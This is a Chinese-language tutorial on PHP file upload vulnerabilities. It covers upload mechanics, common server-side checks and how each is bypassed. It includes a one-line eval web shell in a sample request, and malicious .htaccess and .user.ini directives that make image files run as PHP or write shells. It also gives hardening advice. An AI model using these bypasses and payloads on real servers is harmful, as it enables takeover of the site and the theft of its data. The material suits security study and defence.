文件上传,顾名思义就是上传文件的功能行为,之所以会被发展为危害严重的漏洞,是程序没有对访客提交的数据进行检验或者过滤不严,可以直接提交修改过的数据绕过扩展名的检验。
文件上传漏洞是漏洞中最为简单猖獗的利用形式,一般只要能上传获取地址,可执行文件被解析就可以获取系统WebShell。
php中的文件上传
$_FILES
php中关于文件上传有一个超全局变量$_FILES
,它是一个数组,其包含了所有上传的文件信息
如果上传表单的name
属性值为file
,即:
1 | <input name="file" type="file" /> |
则$_FILES
数组内容为:
$_FILES['file']['name']
  上传文件的原文件名$_FILES['file']['type']
  文件的MIME类型
需要浏览器提供该信息的支持,例如”image/gif”$_FILES['file']['size']
  已上传文件的大小,单位为字节$_FILES['file']['tmp_name']
  文件被上传后在服务端存储的临时文件名- 在请求结束后该临时文件会被删除
$_FILES['file']['error']
  和该文件上传相关的错误代码UPLOAD_ERR_OK
(0) 文件上传成功UPLOAD_ERR_INI_SIZE
(1),上传的文件超过了php.ini
中upload_max_filesize
选项限制的值UPLOAD_ERR_FORM_SIZE
(2), 上传文件的大小超过了HTML
表单中MAX_FILE_SIZE
选项指定的值UPLOAD_ERR_PARTIAL
(3) ,文件只有部分被上传UPLOAD_ERR_NO_FILE
(4) ,没有文件被上传UPLOAD_ERR_NO_TMP_DIR
(6) ,找不到临时文件夹UPLOAD_ERR_CANT_WRITE
(7) ,文件写入失败
注意:php支持多文件上传,如果有多个文件,则上面的变量将会是一个数组,例如:
1 | <input name="file[]" type="file" /> |
则:$_FILES['file']['name'][0]
代表上传的第一个文件的文件名;$_FILES['file']['name'][1]
代表上传的第二个文件的文件名
和文件上传相关的一些函数
is_uploaded_file($filename)
  判断文件是否是通过HTTP POST上传的
move_uploaded_file($filename, $destination)
  将上传的文件移动到新位置
- 该函数会检查文件是否是通过http上传(相当于自动调用
is_uploaded_file($filename)
),如果其返回为true才会将其移动到新位置 - 若成功,则返回 true,否则返回 false
- 如果目标文件已经存在,将会被覆盖
- 移动目的路径所在目录必须存在,此函数不会创建目录
上传文件在http头中的表示
先看看文件上传时的http请求
其中http请求头需要关注的是Content-Type
,其固定格式为:Content-Type: multipart/form-data; boundary=xxxxx
- 其中
multipart/form-data
代表客户端要上传一个附件 boundary
是一个分隔符,作用是分割多个表单项1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylL6aBcmKQZeKRomN
文件上传的http请求体由一个个表单项组合成,每一个表单项代表一个表单元素
- 每个表单项由
--$boundary
开始,以--$boundary
结尾。最后一个表单项以--$boundary--
结尾,代表表单结束 - 每一个表单项又由表单头和表单体组成
Content-Disposition
消息头第一个参数总是固定不变的form-data
,name
表示表单元素属性名
若该元素类型为file
,则会多一个filename
参数和Content-Type
头。filename
参数表示文件名,Content-Type
头指明上传文件的MIME
.
表单头回车换行符后面的内容就是表单体,内容就是元素的值或者上传的文件的内容1
2
3
4
5
6
7
8
9
10
11------WebKitFormBoundarylL6aBcmKQZeKRomN
Content-Disposition: form-data; name="upload"; filename="1.php"
Content-Type: application/octet-stream
<?php eval($_POST[a]); ?>
------WebKitFormBoundarylL6aBcmKQZeKRomN
Content-Disposition: form-data; name="submit"
submit
------WebKitFormBoundarylL6aBcmKQZeKRomN--
这样看来,文件上传的server端做的事情可以简单描述为以下步骤:
- 读取http body部分,根据
boundary
分析出分隔符(这个串是唯一的,不会与body内其他数据冲突) - 根据实际分隔符分段获取 body
- 内容遍历分段内容,根据
Content-Disposition
特征获取其中值 - 根据值中
filename
或name
区分是否是包含二进制流还是表单数据的key-value - 根据
filename
获取原始文件名 - 按照二进制流读取上传文件流信息。
完成后即有:原始文件名信息、原始文件类型信息、全部文件流信息
上传校验以及绕过校验
如果不设任何检测随意让用户上传文件,那么自己的服务器就会变成跑马场了。因此,网站一般都会设置上传文件的校验,但是如果校验不足,便就形成了一个文件上传漏洞
客户端校验(js)
检验策略
1 | function check(){ |
在表单中使用onsumbit=check()
调用js函数来检查上传文件的扩展名.
绕过
这种限制实际上没有任何用处,任何攻击者都可以轻而易举的破解,编辑一下页面/用burpsuite/写个小脚本就可以突破
后缀名校验
后缀名校验,就是在文件被上传到服务端的时候,对于文件名的扩展名进行检查,如果不合法,则拒绝这次上传
校验策略
常见的有两种策略:白名单策略和黑名单策略。
黑名单策略
文件扩展名在黑名单中的即为不合法
1 | $postfix = end(explode('.', $_FILES['file']['name'])); |
白名单策略
文件扩展名不在白名单中的均为不合法
1 | $postfix = end(explode('.', $_FILES['file']['name'])); |
白名单策略是更加安全的,通过限制上传类型为只有我们接受的类型,可以较好的保证安全,因为黑名单我们可以使用各种方法来进行注入和突破
绕过
- 使用黑名单中漏掉的后缀
常见可以解析为php的后缀有:php、php3、php5、php7、pht、phtml
这取决于服务端的配置,比如apache中httpd.conf中的设置:1
2
3
4
5
6
7
8#指定 php 后缀的文件应该调用php模块去执行
<FilesMatch "\.php$">
setHandler application/x-httpd-php
</FilesMatch>
#或在IfModule mime_module标签中末尾添加以下配置:
设定了3中后缀(.php、.php3、.pht 可以自定义后缀)都由php模块去执行
AddType application/x-httpd-php .php .php3 .pht - 可能存在大小写绕过漏洞
- Web容器可能存在文件解析漏洞
Apache 解析漏洞:
- 在Apache1.x,2.x中Apache解析文件的规则是从右到左开始判断解析的, 如果后缀名为不可识别文件, 就再往左判断。因此,index.php.abc也会被解析成php文件。
注意:如果php以FASTCGI
的模式工作于Apache中,此种模式下php遇到类似aaa.php.xxx这种不是php程序的文件,会触发500错误。
- Apache解析漏洞CVE-2017-15715(Apache2.4.0到2.4.29)这个漏洞利用方式就是上传一个文件名最后带有换行符(只能是\x0A,如上传a.php,然后在burp中修改文件名为a.php\x0A),以此来绕过一些黑名单过滤
具体可看:https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html
Nginx 解析漏洞:
PHP CGI 解析漏洞。参考:https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
空字节代码执行漏洞。旧版本(0.5.x,**0.6.x,0.7,0.8<=0.7.65<=0.8.37)。恶意用户发出请求http://example.com/file.ext%00.php
就会将file.ext
作为PHP文件解析。
4. %00截断
条件:
- php版本小于5.3.29
- php的magic_quotes_gpc为OFF状态
- 上传时路径可控
原理:0x00是字符串的结束标识符,攻击者可以利用手动添加字符串标识符的方式来将后面的内容进行截断,而后面的内容又可以帮助我们绕过检测。
参考:http://www.admintony.com/关于上传中的00截断分析.html
content-type字段校验
HTTP协议规定了上传资源的时候在Header中加上一项文件的MIMETYPE,来识别文件类型,这个动作是由浏览器完成的,服务端可以检查此类型不过这仍然是不安全的,因为HTTP header可以被发出者或者中间人任意的修改,不过加上一层防护也是可以有一定效果的
常用的MIMETYPE:
MIME值 | 含义 |
---|---|
text/plain | 纯文本 |
text/html | HTML文档 |
text/javascript | js代码 |
application/xhtml+xml | XHTML文档 |
image/gif | GIF图像 |
image/jpeg | JPEG图像 |
image/png | PNG图像 |
video/mpeg | MPEG动画 |
application/octet-stream | 二进制数据 |
application/pdf | PDF文档 |
application/(编程语言) | 该种语言的代码 |
application/msword | Microsoft Word文件 |
message/rfc822 | RFC 822形式 |
multipart/alternative | HTML邮件的HTML形式和纯文本形式,相同内容使用不同形式表示 |
application/x-www-form-urlencoded | POST方法提交的表单 |
multipart/form-data | POST提交时伴随文件上传的表单 |
校验
1 |
|
绕过
直接burp抓包修改上传文件表单项的content-type
即可
文件头校验
利用每一个特定类型的文件都会有不太一样的开头或者标志位,可以对上传的文件进行一定的校验。
exif_imagetype($filename)
函数(需要php_exif
扩展) :读取一个图像的第一个字节并检查其签名。getimagesize($filename)
:取得图像大小,返回一个数组。如果传入的文件不是图片(文件头),则返回false
- 索引
0
包含图像宽度的像素值 - 索引
1
包含图像高度的像素值 - 索引
2
是图像类型的标记(数字) - 索引
3
给出的是一个宽度和高度的字符串 - 索引
channels
给出的是图像的通道值,RGB 图像默认是 3 - 索引
mime
给出的是图像的 MIME 信息
校验
1 | if (!exif_imagetype($_FILES['file']['tmp_name'])){ |
或者
1 | $allow_mime = array("image/gif", "image/png", "image/jpeg"); |
绕过
当上传php文件时,可以使用winhex、010editor等十六进制处理工具,在数据最前面添加图片的文件头,从而绕过检测
常见图片的文件头(16进制):
1 | gif: 47 49 46 38 39 61 (文本的GIF89a) |
文件内容校验
这种检测主要是检测文件中的敏感字符。
校验
1 | $contents = file_get_contents($_FILES['file']['tmp_name']); |
绕过
这种其实也是相当于黑名单,只要能够找到黑名单中的漏网之鱼即可绕过
可解析为php的标签
1 | phpinfo(); |
图片二次渲染
图片二次渲染,就是根据用户上传的图片,新生成一个图片,将原始图片删除,从而实现上传图片的清洗。
相当于是把原本属于图像数据的部分抓了出来,再用自己的API或函数进行重新渲染,在这个过程中非图像数据的部分直接就被隔离开了
php中通常使用的是GD库中的API函数实现二次渲染。
校验
1 | imagecreatefromjpeg($filename) // 由jpg文件或URL创建一个新图像,成功后返回图像资源,失败后返回false |
一个例子:
1 |
|
绕过
针对这种二次渲染的绕过,内容很多,这里放几篇文章,看了应该就会了。
限制Web服务器端对于特定类型文件的行为
导致文件上传漏洞的根本原因在于服务把用户上传的本应是数据的内容当作了代码,一般来说,用户上传的内容都会被存储到特定的一个文件夹下,比如我们很多人习惯于放在./upload/
下面要防止数据被当作代码执行,我们可以限制web server对于特定文件夹的行为。
在Apache中, 我们可以利用.htaccess
文件机制来对web server行为进行限制.
一般来说,配置文件的作用范围都是全局的,但Apache提供了一种很方便的、可作用于当前目录及其子目录的配置文件——.htaccess
(分布式配置文件).htaccess
是一个纯文本文件,它里面存放着Apache服务器配置相关的指令,它可以配置很多事情,如是否开启站点的图片缓存、自定义错误页面、自定义默认文档、设置WWW域名重定向、设置网页重定向、设置图片防盗链和访问权限控制等等。参考:https://www.centos.bz/2017/11/apache-htaccess文件详解和配置技巧总结/
但我们这里只关心.htaccess
文件的一个作用——MIME类型修改
。
首先,要想使.htaccess
文件生效,需要两个条件:
- 在Apache的配置文件中写上:若这样写则.htaccess不会生效:
1
AllowOverride All
1
AllowOverride None
- Apache要加载mod_Rewrite模块。加载该模块,需要在Apache的配置文件中写上:
1
LoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so
若是在Ubuntu中,可能还需要执行命令:
1 | sudo a2enmod rewrite |
配置完后需要重启Apache。
禁止脚本执行有多种方式可以实现,而且分别有不同的效果
- 指定特定扩展名的文件的处理方式,原理是指定Response的
Content-Type
可以加上如下几行这种情况下,以上几种脚本文件会被当作纯文本来显示出来,你也可以换成其他的1
AddType text/plain .pl .py .php
Content-Type
- 如果要完全禁止特定扩展名的文件被访问,用下面的几行在这种情况下,以上几种类型的文件被访问的时候,会返回
1
2Options -ExecCGI
AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi403 Forbidden
的错误 - 也可以强制web服务器对于特定文件类型的处理,与第一条不同的是,下面的方法直接强行让apache将文件识别为你指定的类型,而第一种是让浏览器将该文件识别为指定类型符合上面正则的全部被认为是纯文本,也可以继续往里面加入其他类型
1
2
3<FilesMatch "\.(php|pl|py|jsp|asp|htm|shtml|sh|cgi)$">
ForceType text/plain
</FilesMatch> - 只允许访问特定类型的文件在一个上传图片的文件夹下面,就可以加上这段代码,使得该文件夹里面只有图片扩展名的文件才可以被访问,其他类型都是拒绝访问。
1
2
3
4<Files ^(*.jpeg|*.jpg|*.png|*.gif)>
order deny,allow
deny from all
</Files>
这又是一个白名单的处理方案
绕过
如果服务端没有将上传的文件进行重名命,那么就可以上传一个我们精心构造的.htaccess
文件去覆盖掉现有文件,如果我们可以控制了.htaccess
文件,那么一切都好办了。
利用姿势:
使用
FilesMatch
1
2
3
4
5<FilesMatch "abc">
SetHandler application/x-httpd-php
</FilesMatch>
# 文件名中包含有abc字符的都将作为php脚本执行使用
AddType
1
2
3AddType application/x-httpd-php .jpg
#文件后缀为.jpg的都将作为php脚本执行使用
php_value
设置php配置- 自动包含文件
用途:文件包含,可以配合AddType来绕过限制上传木马1
2
3
4
5
6php_value auto_prepend_file xxx.php
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.xxx"
#使作用范围内的php文件在文件头自动include指定文件,支持php伪协议
php_value include_path "xxx"
#如果当前目录无法写文件,也可以改变包含文件的路径,去包含别的路径的文件1
2
3php_value auto_prepend_file ".htaccess"
# <?php phpinfo();?>
# 包含自身 - 利用报错信息写文件
1
2
3
4
5
6php_value error_reporting 32767
php_value error_log /tmp/error_shell.php
# 开启报错的同时将报错信息写入文件
php_value display_errors 1 #显示错误信息 - 编码绕过尖括号过滤
1
2
3
4
5php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
#将代码的解析方式改成UTF-7
#此时我们上传utf-7编码的php脚本,这样就没有了php特征,可以绕过检查 - Prce绕过正则匹配 如果正则类似
1
2php_value pcre.backtrack_limit 0
php_value pcre.jit 0if(preg_match("/[^a-z\.]/", $filename) == 1)
而不是if(preg_match("/[^a-z\.]/", $filename) !== 0)
,可以通过php_value
设置正则回朔次数来使正则匹配的结果返回为false而不是0或1,默认的回朔次数比较大,可以设成0,那么当超过此次数以后将返回false
- 自动包含文件
其他
- .htaccess可以使用
\
将两行内容解释为一行 - 绕过exif_imagetype()上传.htaccess(在文件开头加上标识图片的宽和高)
1
2
3
4
#这里写我们的规则
xxx xxx
- .htaccess可以使用
.user.ini
类似于.htaccess
的文件,.user.ini
是一个能被动态加载的ini文件。也就是说我修改了.user.ini
后,不需要重启服务器中间件,只需要等待php.ini中user_ini.cache_ttl
所设置的时间(默认为300秒),即可被重新加载
简单的说,.user.ini
是php版本的.htaccess
,它可以设置所有ini_set()
可以设置的配置项。
要使.user.ini生效,需要修改php.ini 中的这两个参数:
1 | user_ini.filename = ".user.ini" |
利用.user.ini来构造后门
条件:
- 含有
.user.ini
的文件夹下需要有正常的php文件 - 以fastcgi运行的php
- php>5.3.0
php.ini中有两个配置项:auto_prepend_file
和auto_append_file
。该配置项会让php文件在执行时包含一个指定的文件
auto_prepend_file
在页面顶部加载文件auto_append_file
在页面底部加载文件
他们是通过require
来自动调用文件的通过这个配置项
所以利用方法很简单,.user.ini
文件内容
1 | auto_prepend_file=a.jpg |
其会在每个这个目录下所有的php文件执行前require一次a.jpg